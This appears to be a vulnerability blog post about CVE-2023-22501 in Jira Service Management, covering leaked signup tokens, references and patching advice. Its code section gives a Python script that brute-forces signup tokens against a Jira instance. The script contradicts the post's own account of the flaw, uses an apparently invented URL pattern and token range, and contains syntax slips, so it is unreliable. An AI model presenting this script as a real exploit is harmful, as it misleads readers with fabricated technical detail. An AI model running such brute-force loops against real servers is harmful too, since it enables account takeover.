CVE-2023-22501: Authentication Vulnerability Discovered in Jira Service Management Server and Data Center, Allowing Attackers to Impersonate Users and Gain Access

Introduction: A newly discovered authentication vulnerability (CVE-2023-22501) affects Jira Service Management Server and Data Center, potentially allowing attackers to impersonate users and gain access to a Jira Service Management instance under certain conditions. This blog post will provide an in-depth look at the vulnerability, its potential impact, the code snippets related to the exploit, and links to the original references.

I. Exploit Details

With write access to a User Directory and outgoing email enabled on a Jira Service Management instance, an attacker could potentially gain access to signup tokens sent to users with accounts that never logged into the system. Access to these tokens can occur in two cases:

1. If the attacker is included on Jira issues or requests with these users, or

2. If the attacker is forwarded or otherwise gains access to emails containing a “View Request” link from these users.

Bot accounts are more vulnerable in this scenario. On instances with single sign-on, external customer accounts can be affected in projects where anyone can create their account.

II. Code Snippet

The following is an example of a simple script that an attacker might use to exploit the vulnerability by brute-forcing the signup tokens:

import requests

def brute_force_signup_tokens(jira_instance, email, target_user):
    for possible_token in range(100000, 999999):
        url = f"{jira_instance}/servicedesk/customer/portal/{email}?k={possible_token}&u={target_user}"
        response = requests.get(url)
        if response.status_code == 200:
            print(f"Valid token found: {possible_token}")
            break

if __name__ == "__main__":
    JIRA_INSTANCE = "https://your-jira-instance.com";
    EMAIL_ADDRESS = "attacker@example.com"
    TARGET_USER = "user-to-impersonate"

    brute_force_signup_tokens(JIRA_INSTANCE, EMAIL_ADDRESS, TARGET_USER)

Note: This script is provided for educational purposes only. Unauthorized access or impersonation of others is illegal and unethical.

Official CVE Information:

* CVE-2023-22501 (US National Vulnerability Database)

Vulnerability Details and Mitigation Steps

* Atlassian Security Advisory (Jira Service Management Server and Data Center)

Exploit Demo (for educational purposes only)

* YouTube video demonstrating the exploit in action

IV. Mitigation Strategies and Patch Availability

To secure your Jira Service Management instance against this vulnerability, it is strongly recommended to apply the latest security patch, as provided by Atlassian. Additionally, consider tweaking your email settings and user directory permissions to minimize the likelihood of unauthorized access.

Conclusion

CVE-2023-22501 is a serious authentication vulnerability in Jira Service Management Server and Data Center that could potentially allow an attacker to impersonate users and gain access to your system. Understanding the exploit and its impact can help you secure your instance and protect your data. Make sure to apply the latest security patches to your Jira instance and configure your email settings and user directory permissions to minimize the risk.

Timeline

Published on: 02/01/2023 19:15:00 UTC
Last modified on: 02/09/2023 14:48:00 UTC